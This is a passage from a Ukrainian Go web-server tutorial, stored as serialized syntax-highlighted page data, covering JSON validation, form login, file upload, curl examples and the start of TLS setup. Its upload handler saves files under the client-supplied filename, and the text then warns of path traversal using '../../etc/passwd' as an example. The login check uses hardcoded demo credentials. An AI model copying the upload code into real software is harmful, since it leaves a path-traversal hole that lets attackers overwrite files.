Валідація\n",[5557,31558,31559,31561,31563,31565,31567,31569,31571,31573,31575,31577,31579,31581,31583],{"class":5559,"line":5898},[5557,31560,5689],{"class":5581},[5557,31562,31427],{"class":5654},[5557,31564,5268],{"class":5585},[5557,31566,11331],{"class":5654},[5557,31568,6353],{"class":5585},[5557,31570,9520],{"class":5592},[5557,31572,6363],{"class":5585},[5557,31574,10906],{"class":5654},[5557,31576,5268],{"class":5585},[5557,31578,18751],{"class":5654},[5557,31580,6353],{"class":5585},[5557,31582,9520],{"class":5592},[5557,31584,5701],{"class":5585},[5557,31586,31587,31589,31591,31593,31595,31597,31599,31602,31604,31606,31608,31611],{"class":5559,"line":5914},[5557,31588,9300],{"class":5654},[5557,31590,5268],{"class":5585},[5557,31592,9267],{"class":5637},[5557,31594,5673],{"class":5585},[5557,31596,8909],{"class":5654},[5557,31598,5305],{"class":5585},[5557,31600,31601],{"class":5592},"\"Поля 'name' та 'email' обов'язкові\"",[5557,31603,5305],{"class":5585},[5557,31605,8928],{"class":5654},[5557,31607,5268],{"class":5585},[5557,31609,31610],{"class":5654},"StatusUnprocessableEntity",[5557,31612,5623],{"class":5585},[5557,31614,31615],{"class":5559,"line":5919},[5557,31616,6076],{"class":5581},[5557,31618,31619],{"class":5559,"line":5925},[5557,31620,5735],{"class":5585},[5557,31622,31623],{"class":5559,"line":5930},[5557,31624,5575],{"emptyLinePlaceholder":5574},[5557,31626,31627],{"class":5559,"line":5952},[5557,31628,31629],{"class":5647},"    \u002F\u002F Формуємо відповідь\n",[5557,31631,31632,31634,31636,31639,31641,31644],{"class":5559,"line":5966},[5557,31633,10857],{"class":5654},[5557,31635,5268],{"class":5585},[5557,31637,31638],{"class":5654},"Age",[5557,31640,15023],{"class":5585},[5557,31642,31643],{"class":6134},"25",[5557,31645,31646],{"class":5647}," \u002F\u002F Симулюємо обробку\n",[5557,31648,31649],{"class":5559,"line":5971},[5557,31650,5575],{"emptyLinePlaceholder":5574},[5557,31652,31653,31655,31657,31659,31661,31663,31665,31667,31669,31671],{"class":5559,"line":5977},[5557,31654,9121],{"class":5654},[5557,31656,5268],{"class":5585},[5557,31658,10972],{"class":5637},[5557,31660,11043],{"class":5585},[5557,31662,11046],{"class":5637},[5557,31664,5673],{"class":5585},[5557,31666,11098],{"class":5592},[5557,31668,5305],{"class":5585},[5557,31670,6555],{"class":5592},[5557,31672,5623],{"class":5585},[5557,31674,31675,31677,31679,31681,31683,31685,31687,31689],{"class":5559,"line":5998},[5557,31676,9121],{"class":5654},[5557,31678,5268],{"class":5585},[5557,31680,9126],{"class":5637},[5557,31682,5673],{"class":5585},[5557,31684,8928],{"class":5654},[5557,31686,5268],{"class":5585},[5557,31688,15402],{"class":5654},[5557,31690,5623],{"class":5585},[5557,31692,31693,31695,31697,31699,31701,31703,31705,31707,31709,31711],{"class":5559,"line":6003},[5557,31694,11109],{"class":5654},[5557,31696,5268],{"class":5585},[5557,31698,11114],{"class":5637},[5557,31700,5673],{"class":5585},[5557,31702,8909],{"class":5654},[5557,31704,7121],{"class":5585},[5557,31706,11123],{"class":5637},[5557,31708,5673],{"class":5585},[5557,31710,10906],{"class":5654},[5557,31712,5623],{"class":5585},[5557,31714,31715],{"class":5559,"line":6009},[5557,31716,5922],{"class":5585},[5348,31718,31719],{},[5205,31720,31721],{},"Приклад виклику через cURL:",[5464,31723,31725],{"className":7017,"code":31724,"language":7019,"meta":5472,"style":5472},"curl -X POST http:\u002F\u002Flocalhost:8080\u002Fusers \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"Олена\", \"email\": \"olena@example.com\"}'\n",[5236,31726,31727,31743,31753],{"__ignoreMap":5472},[5557,31728,31729,31731,31734,31737,31740],{"class":5559,"line":5560},[5557,31730,7048],{"class":5637},[5557,31732,31733],{"class":5563}," -X",[5557,31735,31736],{"class":5592}," POST",[5557,31738,31739],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Fusers",[5557,31741,31742],{"class":6358}," \\\n",[5557,31744,31745,31748,31751],{"class":5559,"line":5571},[5557,31746,31747],{"class":5563},"  -H",[5557,31749,31750],{"class":5592}," \"Content-Type: application\u002Fjson\"",[5557,31752,31742],{"class":6358},[5557,31754,31755,31758],{"class":5559,"line":5578},[5557,31756,31757],{"class":5563},"  -d",[5557,31759,31760],{"class":5592}," '{\"name\": \"Олена\", \"email\": \"olena@example.com\"}'\n",[7167,31762,31764,31765],{"id":31763},"обробка-форм-applicationx-www-form-urlencoded","Обробка форм ",[5236,31766,5274],{},[5348,31768,31769],{},"Якщо клієнт відправляє дані через HTML-форму:",[5464,31771,31774],{"className":31772,"code":31773,"language":6461,"meta":5472,"style":5472},"language-html shiki shiki-themes light-plus dark-plus dark-plus","\u003Cform action=\"\u002Flogin\" method=\"POST\">\n  \u003Cinput type=\"text\" name=\"username\" \u002F>\n  \u003Cinput type=\"password\" name=\"password\" \u002F>\n  \u003Cbutton type=\"submit\">Увійти\u003C\u002Fbutton>\n\u003C\u002Fform>\n",[5236,31775,31776,31808,31834,31854,31881],{"__ignoreMap":5472},[5557,31777,31778,31782,31786,31790,31793,31797,31800,31802,31805],{"class":5559,"line":5560},[5557,31779,31781],{"class":31780},"s0P7L","\u003C",[5557,31783,31785],{"class":31784},"sKtos","form",[5557,31787,31789],{"class":31788},"sa4r_"," action",[5557,31791,31792],{"class":5585},"=",[5557,31794,31796],{"class":31795},"su9tN","\"\u002Flogin\"",[5557,31798,31799],{"class":31788}," method",[5557,31801,31792],{"class":5585},[5557,31803,31804],{"class":31795},"\"POST\"",[5557,31806,31807],{"class":31780},">\n",[5557,31809,31810,31813,31816,31819,31821,31824,31827,31829,31831],{"class":5559,"line":5571},[5557,31811,31812],{"class":31780},"  \u003C",[5557,31814,31815],{"class":31784},"input",[5557,31817,31818],{"class":31788}," type",[5557,31820,31792],{"class":5585},[5557,31822,31823],{"class":31795},"\"text\"",[5557,31825,31826],{"class":31788}," name",[5557,31828,31792],{"class":5585},[5557,31830,19254],{"class":31795},[5557,31832,31833],{"class":31780}," \u002F>\n",[5557,31835,31836,31838,31840,31842,31844,31846,31848,31850,31852],{"class":5559,"line":5578},[5557,31837,31812],{"class":31780},[5557,31839,31815],{"class":31784},[5557,31841,31818],{"class":31788},[5557,31843,31792],{"class":5585},[5557,31845,19277],{"class":31795},[5557,31847,31826],{"class":31788},[5557,31849,31792],{"class":5585},[5557,31851,19277],{"class":31795},[5557,31853,31833],{"class":31780},[5557,31855,31856,31858,31861,31863,31865,31868,31871,31874,31877,31879],{"class":5559,"line":5589},[5557,31857,31812],{"class":31780},[5557,31859,31860],{"class":31784},"button",[5557,31862,31818],{"class":31788},[5557,31864,31792],{"class":5585},[5557,31866,31867],{"class":31795},"\"submit\"",[5557,31869,31870],{"class":31780},">",[5557,31872,31873],{"class":5585},"Увійти",[5557,31875,31876],{"class":31780},"\u003C\u002F",[5557,31878,31860],{"class":31784},[5557,31880,31807],{"class":31780},[5557,31882,31883,31885,31887],{"class":5559,"line":5596},[5557,31884,31876],{"class":31780},[5557,31886,31785],{"class":31784},[5557,31888,31807],{"class":31780},[5348,31890,31891],{},"Сервер обробляє форму так:",[5464,31893,31895],{"className":5550,"code":31894,"language":5553,"meta":5472,"style":5472},"func loginHandler(w http.ResponseWriter, r *http.Request) {\n    if r.Method != http.MethodPost {\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n        return\n    }\n\n    \u002F\u002F Парсимо форму (читає r.Body та парсить дані)\n    if err := r.ParseForm(); err != nil {\n        http.Error(w, \"Помилка парсингу форми\", http.StatusBadRequest)\n        return\n    }\n\n    username := r.FormValue(\"username\")\n    password := r.FormValue(\"password\")\n\n    if username == \"\" || password == \"\" {\n        http.Error(w, \"Логін та пароль обов'язкові\", http.StatusBadRequest)\n        return\n    }\n\n    \u002F\u002F Перевіряємо облікові дані (у реальності — звірка з БД)\n    if username == \"admin\" && password == \"secret\" {\n        fmt.Fprintf(w, \"Вітаємо, %s! Ви увійшли у систему.\\n\", username)\n    } else {\n        http.Error(w, \"Невірний логін або пароль\", http.StatusUnauthorized)\n    }\n}\n",[5236,31896,31897,31927,31947,31973,31977,31981,31985,31990,32014,32041,32045,32049,32053,32071,32089,32093,32113,32140,32144,32148,32152,32157,32177,32208,32216,32243,32247],{"__ignoreMap":5472},[5557,31898,31899,31901,31903,31905,31907,31909,31911,31913,31915,31917,31919,31921,31923,31925],{"class":5559,"line":5560},[5557,31900,5634],{"class":5563},[5557,31902,8904],{"class":5637},[5557,31904,5673],{"class":5585},[5557,31906,8909],{"class":5654},[5557,31908,8912],{"class":5567},[5557,31910,5268],{"class":5585},[5557,31912,8917],{"class":5567},[5557,31914,5305],{"class":5585},[5557,31916,8922],{"class":5654},[5557,31918,8925],{"class":5585},[5557,31920,8928],{"class":5567},[5557,31922,5268],{"class":5585},[5557,31924,8933],{"class":5567},[5557,31926,5949],{"class":5585},[5557,31928,31929,31931,31933,31935,31937,31939,31941,31943,31945],{"class":5559,"line":5571},[5557,31930,5689],{"class":5581},[5557,31932,10109],{"class":5654},[5557,31934,5268],{"class":5585},[5557,31936,12981],{"class":5654},[5557,31938,5695],{"class":5585},[5557,31940,8928],{"class":5654},[5557,31942,5268],{"class":5585},[5557,31944,26869],{"class":5654},[5557,31946,5701],{"class":5585},[5557,31948,31949,31951,31953,31955,31957,31959,31961,31963,31965,31967,31969,31971],{"class":5559,"line":5578},[5557,31950,9300],{"class":5654},[5557,31952,5268],{"class":5585},[5557,31954,9267],{"class":5637},[5557,31956,5673],{"class":5585},[5557,31958,8909],{"class":5654},[5557,31960,5305],{"class":5585},[5557,31962,13009],{"class":5592},[5557,31964,5305],{"class":5585},[5557,31966,8928],{"class":5654},[5557,31968,5268],{"class":5585},[5557,31970,13018],{"class":5654},[5557,31972,5623],{"class":5585},[5557,31974,31975],{"class":5559,"line":5589},[5557,31976,6076],{"class":5581},[5557,31978,31979],{"class":5559,"line":5596},[5557,31980,5735],{"class":5585},[5557,31982,31983],{"class":5559,"line":5602},[5557,31984,5575],{"emptyLinePlaceholder":5574},[5557,31986,31987],{"class":5559,"line":5608},[5557,31988,31989],{"class":5647},"    \u002F\u002F Парсимо форму (читає r.Body та парсить дані)\n",[5557,31991,31992,31994,31996,31998,32000,32002,32004,32006,32008,32010,32012],{"class":5559,"line":5614},[5557,31993,5689],{"class":5581},[5557,31995,5692],{"class":5654},[5557,31997,5663],{"class":5585},[5557,31999,8922],{"class":5654},[5557,32001,5268],{"class":5585},[5557,32003,18966],{"class":5637},[5557,32005,19305],{"class":5585},[5557,32007,5660],{"class":5654},[5557,32009,5695],{"class":5585},[5557,32011,5698],{"class":5563},[5557,32013,5701],{"class":5585},[5557,32015,32016,32018,32020,32022,32024,32026,32028,32031,32033,32035,32037,32039],{"class":5559,"line":5620},[5557,32017,9300],{"class":5654},[5557,32019,5268],{"class":5585},[5557,32021,9267],{"class":5637},[5557,32023,5673],{"class":5585},[5557,32025,8909],{"class":5654},[5557,32027,5305],{"class":5585},[5557,32029,32030],{"class":5592},"\"Помилка парсингу форми\"",[5557,32032,5305],{"class":5585},[5557,32034,8928],{"class":5654},[5557,32036,5268],{"class":5585},[5557,32038,13902],{"class":5654},[5557,32040,5623],{"class":5585},[5557,32042,32043],{"class":5559,"line":5626},[5557,32044,6076],{"class":5581},[5557,32046,32047],{"class":5559,"line":5631},[5557,32048,5735],{"class":5585},[5557,32050,32051],{"class":5559,"line":5644},[5557,32052,5575],{"emptyLinePlaceholder":5574},[5557,32054,32055,32057,32059,32061,32063,32065,32067,32069],{"class":5559,"line":5651},[5557,32056,19241],{"class":5654},[5557,32058,5663],{"class":5585},[5557,32060,8922],{"class":5654},[5557,32062,5268],{"class":5585},[5557,32064,19034],{"class":5637},[5557,32066,5673],{"class":5585},[5557,32068,19254],{"class":5592},[5557,32070,5623],{"class":5585},[5557,32072,32073,32075,32077,32079,32081,32083,32085,32087],{"class":5559,"line":5686},[5557,32074,19264],{"class":5654},[5557,32076,5663],{"class":5585},[5557,32078,8922],{"class":5654},[5557,32080,5268],{"class":5585},[5557,32082,19034],{"class":5637},[5557,32084,5673],{"class":5585},[5557,32086,19277],{"class":5592},[5557,32088,5623],{"class":5585},[5557,32090,32091],{"class":5559,"line":5704},[5557,32092,5575],{"emptyLinePlaceholder":5574},[5557,32094,32095,32097,32099,32101,32103,32105,32107,32109,32111],{"class":5559,"line":5732},[5557,32096,5689],{"class":5581},[5557,32098,19612],{"class":5654},[5557,32100,6353],{"class":5585},[5557,32102,9520],{"class":5592},[5557,32104,6363],{"class":5585},[5557,32106,19138],{"class":5654},[5557,32108,6353],{"class":5585},[5557,32110,9520],{"class":5592},[5557,32112,5701],{"class":5585},[5557,32114,32115,32117,32119,32121,32123,32125,32127,32130,32132,32134,32136,32138],{"class":5559,"line":5738},[5557,32116,9300],{"class":5654},[5557,32118,5268],{"class":5585},[5557,32120,9267],{"class":5637},[5557,32122,5673],{"class":5585},[5557,32124,8909],{"class":5654},[5557,32126,5305],{"class":5585},[5557,32128,32129],{"class":5592},"\"Логін та пароль обов'язкові\"",[5557,32131,5305],{"class":5585},[5557,32133,8928],{"class":5654},[5557,32135,5268],{"class":5585},[5557,32137,13902],{"class":5654},[5557,32139,5623],{"class":5585},[5557,32141,32142],{"class":5559,"line":5755},[5557,32143,6076],{"class":5581},[5557,32145,32146],{"class":5559,"line":5760},[5557,32147,5735],{"class":5585},[5557,32149,32150],{"class":5559,"line":5778},[5557,32151,5575],{"emptyLinePlaceholder":5574},[5557,32153,32154],{"class":5559,"line":5794},[5557,32155,32156],{"class":5647},"    \u002F\u002F Перевіряємо облікові дані (у реальності — звірка з БД)\n",[5557,32158,32159,32161,32163,32165,32167,32169,32171,32173,32175],{"class":5559,"line":5799},[5557,32160,5689],{"class":5581},[5557,32162,19612],{"class":5654},[5557,32164,6353],{"class":5585},[5557,32166,19617],{"class":5592},[5557,32168,29714],{"class":5585},[5557,32170,19138],{"class":5654},[5557,32172,6353],{"class":5585},[5557,32174,19626],{"class":5592},[5557,32176,5701],{"class":5585},[5557,32178,32179,32181,32183,32185,32187,32189,32191,32193,32195,32198,32200,32202,32204,32206],{"class":5559,"line":5807},[5557,32180,11530],{"class":5654},[5557,32182,5268],{"class":5585},[5557,32184,9146],{"class":5637},[5557,32186,5673],{"class":5585},[5557,32188,8909],{"class":5654},[5557,32190,5305],{"class":5585},[5557,32192,19685],{"class":5592},[5557,32194,6238],{"class":5654},[5557,32196,32197],{"class":5592},"! Ви увійшли у систему.",[5557,32199,6372],{"class":6358},[5557,32201,5723],{"class":5592},[5557,32203,5305],{"class":5585},[5557,32205,19133],{"class":5654},[5557,32207,5623],{"class":5585},[5557,32209,32210,32212,32214],{"class":5559,"line":5813},[5557,32211,26319],{"class":5585},[5557,32213,26322],{"class":5581},[5557,32215,5701],{"class":5585},[5557,32217,32218,32220,32222,32224,32226,32228,32230,32233,32235,32237,32239,32241],{"class":5559,"line":5835},[5557,32219,9300],{"class":5654},[5557,32221,5268],{"class":5585},[5557,32223,9267],{"class":5637},[5557,32225,5673],{"class":5585},[5557,32227,8909],{"class":5654},[5557,32229,5305],{"class":5585},[5557,32231,32232],{"class":5592},"\"Невірний логін або пароль\"",[5557,32234,5305],{"class":5585},[5557,32236,8928],{"class":5654},[5557,32238,5268],{"class":5585},[5557,32240,9285],{"class":5654},[5557,32242,5623],{"class":5585},[5557,32244,32245],{"class":5559,"line":5849},[5557,32246,5735],{"class":5585},[5557,32248,32249],{"class":5559,"line":5875},[5557,32250,5922],{"class":5585},[7167,32252,32254,32255],{"id":32253},"обробка-завантаження-файлів-multipartform-data","Обробка завантаження файлів ",[5236,32256,5278],{},[5348,32258,32259,32260,7256],{},"Для завантаження файлів використовується кодування ",[5236,32261,5278],{},[5464,32263,32265],{"className":5550,"code":32264,"language":5553,"meta":5472,"style":5472},"func uploadFileHandler(w http.ResponseWriter, r *http.Request) {\n    if r.Method != http.MethodPost {\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n        return\n    }\n\n    \u002F\u002F Обмежуємо максимальний розмір завантажуваного файлу до 10 МБ\n    r.ParseMultipartForm(10 \u003C\u003C 20) \u002F\u002F 10 MB\n\n    \u002F\u002F Отримуємо файл із поля форми \"file\"\n    file, header, err := r.FormFile(\"file\")\n    if err != nil {\n        http.Error(w, \"Помилка отримання файлу\", http.StatusBadRequest)\n        return\n    }\n    defer file.Close()\n\n    fmt.Printf(\"📁 Завантажено файл: %s (розмір: %d байт)\\n\", header.Filename, header.Size)\n\n    \u002F\u002F Зберігаємо файл на диск\n    dst, err := os.Create(\".\u002Fuploads\u002F\" + header.Filename)\n    if err != nil {\n        http.Error(w, \"Помилка збереження файлу\", http.StatusInternalServerError)\n        return\n    }\n    defer dst.Close()\n\n    if _, err := io.Copy(dst, file); err != nil {\n        http.Error(w, \"Помилка запису файлу\", http.StatusInternalServerError)\n        return\n    }\n\n    w.WriteHeader(http.StatusCreated)\n    fmt.Fprintf(w, \"Файл '%s' успішно завантажено\\n\", header.Filename)\n}\n",[5236,32266,32267,32298,32318,32344,32348,32352,32356,32361,32382,32386,32391,32419,32431,32458,32462,32466,32479,32483,32530,32534,32539,32570,32582,32609,32613,32617,32629,32633,32670,32697,32701,32705,32709,32727,32763],{"__ignoreMap":5472},[5557,32268,32269,32271,32274,32276,32278,32280,32282,32284,32286,32288,32290,32292,32294,32296],{"class":5559,"line":5560},[5557,32270,5634],{"class":5563},[5557,32272,32273],{"class":5637}," uploadFileHandler",[5557,32275,5673],{"class":5585},[5557,32277,8909],{"class":5654},[5557,32279,8912],{"class":5567},[5557,32281,5268],{"class":5585},[5557,32283,8917],{"class":5567},[5557,32285,5305],{"class":5585},[5557,32287,8922],{"class":5654},[5557,32289,8925],{"class":5585},[5557,32291,8928],{"class":5567},[5557,32293,5268],{"class":5585},[5557,32295,8933],{"class":5567},[5557,32297,5949],{"class":5585},[5557,32299,32300,32302,32304,32306,32308,32310,32312,32314,32316],{"class":5559,"line":5571},[5557,32301,5689],{"class":5581},[5557,32303,10109],{"class":5654},[5557,32305,5268],{"class":5585},[5557,32307,12981],{"class":5654},[5557,32309,5695],{"class":5585},[5557,32311,8928],{"class":5654},[5557,32313,5268],{"class":5585},[5557,32315,26869],{"class":5654},[5557,32317,5701],{"class":5585},[5557,32319,32320,32322,32324,32326,32328,32330,32332,32334,32336,32338,32340,32342],{"class":5559,"line":5578},[5557,32321,9300],{"class":5654},[5557,32323,5268],{"class":5585},[5557,32325,9267],{"class":5637},[5557,32327,5673],{"class":5585},[5557,32329,8909],{"class":5654},[5557,32331,5305],{"class":5585},[5557,32333,13009],{"class":5592},[5557,32335,5305],{"class":5585},[5557,32337,8928],{"class":5654},[5557,32339,5268],{"class":5585},[5557,32341,13018],{"class":5654},[5557,32343,5623],{"class":5585},[5557,32345,32346],{"class":5559,"line":5589},[5557,32347,6076],{"class":5581},[5557,32349,32350],{"class":5559,"line":5596},[5557,32351,5735],{"class":5585},[5557,32353,32354],{"class":5559,"line":5602},[5557,32355,5575],{"emptyLinePlaceholder":5574},[5557,32357,32358],{"class":5559,"line":5608},[5557,32359,32360],{"class":5647},"    \u002F\u002F Обмежуємо максимальний розмір завантажуваного файлу до 10 МБ\n",[5557,32362,32363,32366,32368,32370,32372,32374,32376,32378,32380],{"class":5559,"line":5614},[5557,32364,32365],{"class":5654},"    r",[5557,32367,5268],{"class":5585},[5557,32369,18996],{"class":5637},[5557,32371,5673],{"class":5585},[5557,32373,18335],{"class":6134},[5557,32375,22320],{"class":5585},[5557,32377,22323],{"class":6134},[5557,32379,10276],{"class":5585},[5557,32381,18350],{"class":5647},[5557,32383,32384],{"class":5559,"line":5620},[5557,32385,5575],{"emptyLinePlaceholder":5574},[5557,32387,32388],{"class":5559,"line":5626},[5557,32389,32390],{"class":5647},"    \u002F\u002F Отримуємо файл із поля форми \"file\"\n",[5557,32392,32393,32396,32398,32400,32402,32404,32406,32408,32410,32412,32414,32417],{"class":5559,"line":5631},[5557,32394,32395],{"class":5654},"    file",[5557,32397,5305],{"class":5585},[5557,32399,27414],{"class":5654},[5557,32401,5305],{"class":5585},[5557,32403,5660],{"class":5654},[5557,32405,5663],{"class":5585},[5557,32407,8922],{"class":5654},[5557,32409,5268],{"class":5585},[5557,32411,19070],{"class":5637},[5557,32413,5673],{"class":5585},[5557,32415,32416],{"class":5592},"\"file\"",[5557,32418,5623],{"class":5585},[5557,32420,32421,32423,32425,32427,32429],{"class":5559,"line":5644},[5557,32422,5689],{"class":5581},[5557,32424,5692],{"class":5654},[5557,32426,5695],{"class":5585},[5557,32428,5698],{"class":5563},[5557,32430,5701],{"class":5585},[5557,32432,32433,32435,32437,32439,32441,32443,32445,32448,32450,32452,32454,32456],{"class":5559,"line":5651},[5557,32434,9300],{"class":5654},[5557,32436,5268],{"class":5585},[5557,32438,9267],{"class":5637},[5557,32440,5673],{"class":5585},[5557,32442,8909],{"class":5654},[5557,32444,5305],{"class":5585},[5557,32446,32447],{"class":5592},"\"Помилка отримання файлу\"",[5557,32449,5305],{"class":5585},[5557,32451,8928],{"class":5654},[5557,32453,5268],{"class":5585},[5557,32455,13902],{"class":5654},[5557,32457,5623],{"class":5585},[5557,32459,32460],{"class":5559,"line":5686},[5557,32461,6076],{"class":5581},[5557,32463,32464],{"class":5559,"line":5704},[5557,32465,5735],{"class":5585},[5557,32467,32468,32470,32473,32475,32477],{"class":5559,"line":5732},[5557,32469,5741],{"class":5581},[5557,32471,32472],{"class":5654}," file",[5557,32474,5268],{"class":5585},[5557,32476,5749],{"class":5637},[5557,32478,5752],{"class":5585},[5557,32480,32481],{"class":5559,"line":5738},[5557,32482,5575],{"emptyLinePlaceholder":5574},[5557,32484,32485,32487,32489,32491,32493,32496,32498,32501,32503,32506,32508,32510,32512,32514,32516,32519,32521,32523,32525,32528],{"class":5559,"line":5755},[5557,32486,5763],{"class":5654},[5557,32488,5268],{"class":5585},[5557,32490,5857],{"class":5637},[5557,32492,5673],{"class":5585},[5557,32494,32495],{"class":5592},"\"📁 Завантажено файл: ",[5557,32497,6238],{"class":5654},[5557,32499,32500],{"class":5592}," (розмір: ",[5557,32502,6794],{"class":5654},[5557,32504,32505],{"class":5592}," байт)",[5557,32507,6372],{"class":6358},[5557,32509,5723],{"class":5592},[5557,32511,5305],{"class":5585},[5557,32513,27414],{"class":5654},[5557,32515,5268],{"class":5585},[5557,32517,32518],{"class":5654},"Filename",[5557,32520,5305],{"class":5585},[5557,32522,27414],{"class":5654},[5557,32524,5268],{"class":5585},[5557,32526,32527],{"class":5654},"Size",[5557,32529,5623],{"class":5585},[5557,32531,32532],{"class":5559,"line":5760},[5557,32533,5575],{"emptyLinePlaceholder":5574},[5557,32535,32536],{"class":5559,"line":5778},[5557,32537,32538],{"class":5647},"    \u002F\u002F Зберігаємо файл на диск\n",[5557,32540,32541,32543,32545,32547,32549,32551,32553,32555,32557,32560,32562,32564,32566,32568],{"class":5559,"line":5794},[5557,32542,18364],{"class":5654},[5557,32544,5305],{"class":5585},[5557,32546,5660],{"class":5654},[5557,32548,5663],{"class":5585},[5557,32550,18373],{"class":5654},[5557,32552,5268],{"class":5585},[5557,32554,18378],{"class":5637},[5557,32556,5673],{"class":5585},[5557,32558,32559],{"class":5592},"\".\u002Fuploads\u002F\"",[5557,32561,8796],{"class":5585},[5557,32563,27414],{"class":5654},[5557,32565,5268],{"class":5585},[5557,32567,32518],{"class":5654},[5557,32569,5623],{"class":5585},[5557,32571,32572,32574,32576,32578,32580],{"class":5559,"line":5799},[5557,32573,5689],{"class":5581},[5557,32575,5692],{"class":5654},[5557,32577,5695],{"class":5585},[5557,32579,5698],{"class":5563},[5557,32581,5701],{"class":5585},[5557,32583,32584,32586,32588,32590,32592,32594,32596,32599,32601,32603,32605,32607],{"class":5559,"line":5807},[5557,32585,9300],{"class":5654},[5557,32587,5268],{"class":5585},[5557,32589,9267],{"class":5637},[5557,32591,5673],{"class":5585},[5557,32593,8909],{"class":5654},[5557,32595,5305],{"class":5585},[5557,32597,32598],{"class":5592},"\"Помилка збереження файлу\"",[5557,32600,5305],{"class":5585},[5557,32602,8928],{"class":5654},[5557,32604,5268],{"class":5585},[5557,32606,9322],{"class":5654},[5557,32608,5623],{"class":5585},[5557,32610,32611],{"class":5559,"line":5813},[5557,32612,6076],{"class":5581},[5557,32614,32615],{"class":5559,"line":5835},[5557,32616,5735],{"class":5585},[5557,32618,32619,32621,32623,32625,32627],{"class":5559,"line":5849},[5557,32620,5741],{"class":5581},[5557,32622,18392],{"class":5654},[5557,32624,5268],{"class":5585},[5557,32626,5749],{"class":5637},[5557,32628,5752],{"class":5585},[5557,32630,32631],{"class":5559,"line":5875},[5557,32632,5575],{"emptyLinePlaceholder":5574},[5557,32634,32635,32637,32639,32641,32643,32645,32647,32649,32651,32653,32655,32657,32660,32662,32664,32666,32668],{"class":5559,"line":5881},[5557,32636,5689],{"class":5581},[5557,32638,11557],{"class":5654},[5557,32640,5305],{"class":5585},[5557,32642,5660],{"class":5654},[5557,32644,5663],{"class":5585},[5557,32646,5311],{"class":5654},[5557,32648,5268],{"class":5585},[5557,32650,18411],{"class":5637},[5557,32652,5673],{"class":5585},[5557,32654,18416],{"class":5654},[5557,32656,5305],{"class":5585},[5557,32658,32659],{"class":5654},"file",[5557,32661,15210],{"class":5585},[5557,32663,5660],{"class":5654},[5557,32665,5695],{"class":5585},[5557,32667,5698],{"class":5563},[5557,32669,5701],{"class":5585},[5557,32671,32672,32674,32676,32678,32680,32682,32684,32687,32689,32691,32693,32695],{"class":5559,"line":5887},[5557,32673,9300],{"class":5654},[5557,32675,5268],{"class":5585},[5557,32677,9267],{"class":5637},[5557,32679,5673],{"class":5585},[5557,32681,8909],{"class":5654},[5557,32683,5305],{"class":5585},[5557,32685,32686],{"class":5592},"\"Помилка запису файлу\"",[5557,32688,5305],{"class":5585},[5557,32690,8928],{"class":5654},[5557,32692,5268],{"class":5585},[5557,32694,9322],{"class":5654},[5557,32696,5623],{"class":5585},[5557,32698,32699],{"class":5559,"line":5892},[5557,32700,6076],{"class":5581},[5557,32702,32703],{"class":5559,"line":5898},[5557,32704,5735],{"class":5585},[5557,32706,32707],{"class":5559,"line":5914},[5557,32708,5575],{"emptyLinePlaceholder":5574},[5557,32710,32711,32713,32715,32717,32719,32721,32723,32725],{"class":5559,"line":5919},[5557,32712,9121],{"class":5654},[5557,32714,5268],{"class":5585},[5557,32716,9126],{"class":5637},[5557,32718,5673],{"class":5585},[5557,32720,8928],{"class":5654},[5557,32722,5268],{"class":5585},[5557,32724,15402],{"class":5654},[5557,32726,5623],{"class":5585},[5557,32728,32729,32731,32733,32735,32737,32739,32741,32744,32746,32749,32751,32753,32755,32757,32759,32761],{"class":5559,"line":5925},[5557,32730,5763],{"class":5654},[5557,32732,5268],{"class":5585},[5557,32734,9146],{"class":5637},[5557,32736,5673],{"class":5585},[5557,32738,8909],{"class":5654},[5557,32740,5305],{"class":5585},[5557,32742,32743],{"class":5592},"\"Файл '",[5557,32745,6238],{"class":5654},[5557,32747,32748],{"class":5592},"' успішно завантажено",[5557,32750,6372],{"class":6358},[5557,32752,5723],{"class":5592},[5557,32754,5305],{"class":5585},[5557,32756,27414],{"class":5654},[5557,32758,5268],{"class":5585},[5557,32760,32518],{"class":5654},[5557,32762,5623],{"class":5585},[5557,32764,32765],{"class":5559,"line":5930},[5557,32766,5922],{"class":5585},[5348,32768,32769],{},[5205,32770,31721],{},[5464,32772,32774],{"className":7017,"code":32773,"language":7019,"meta":5472,"style":5472},"curl -X POST http:\u002F\u002Flocalhost:8080\u002Fupload \\\n  -F \"file=@\u002Fpath\u002Fto\u002Fimage.png\"\n",[5236,32775,32776,32789],{"__ignoreMap":5472},[5557,32777,32778,32780,32782,32784,32787],{"class":5559,"line":5560},[5557,32779,7048],{"class":5637},[5557,32781,31733],{"class":5563},[5557,32783,31736],{"class":5592},[5557,32785,32786],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Fupload",[5557,32788,31742],{"class":6358},[5557,32790,32791,32794],{"class":5559,"line":5571},[5557,32792,32793],{"class":5563},"  -F",[5557,32795,32796],{"class":5592}," \"file=@\u002Fpath\u002Fto\u002Fimage.png\"\n",[8040,32798,32799,32802,32803,32806,32807,32810,32811,32814],{},[5205,32800,32801],{},"Безпека при завантаженні файлів:"," Завжди перевіряйте тип файлу (",[5236,32804,32805],{},"header.Header.Get(\"Content-Type\")","), розмір файлу та обмежуйте дозволені розширення. Ніколи не зберігайте файли з оригінальними іменами, які надає клієнт — це може призвести до атак типу ",[5205,32808,32809],{},"Path Traversal"," (наприклад, файл з іменем ",[5236,32812,32813],{},"..\u002F..\u002Fetc\u002Fpasswd"," може перезаписати системні файли). Генеруйте унікальні випадкові імена за допомогою UUID або хешів.",[5340,32816],{},[5343,32818,32820],{"id":32819},"налаштування-tls-захищені-https-зєднання","Налаштування TLS: захищені HTTPS-з'єднання",[5348,32822,32823,32824,32827],{},"Для запуску сервера з підтримкою TLS (HTTPS) використовується метод ",[5236,32825,32826],{},"server.ListenAndServeTLS(certFile, keyFile)",". Вам потрібні два файли:",[5198,32829,32830,32839],{},[5201,32831,32832,5226,32835,32838],{},[5205,32833,32834],{},"Сертифікат",[5236,32836,32837],{},"server.crt",") — публічний ключ у форматі X.509.",[5201,32840,32841,5226,32844,32847],{},[5205,32842,32843],{},"Приватний ключ",[5236,32845,32846],{},"server.key",") — секретний ключ для дешифрування трафіку.",[7167,32849,32851],{"id":32850},"генерація-самопідписного-сертифіката-для-розробки","Генерація самопідписного сертифіката для 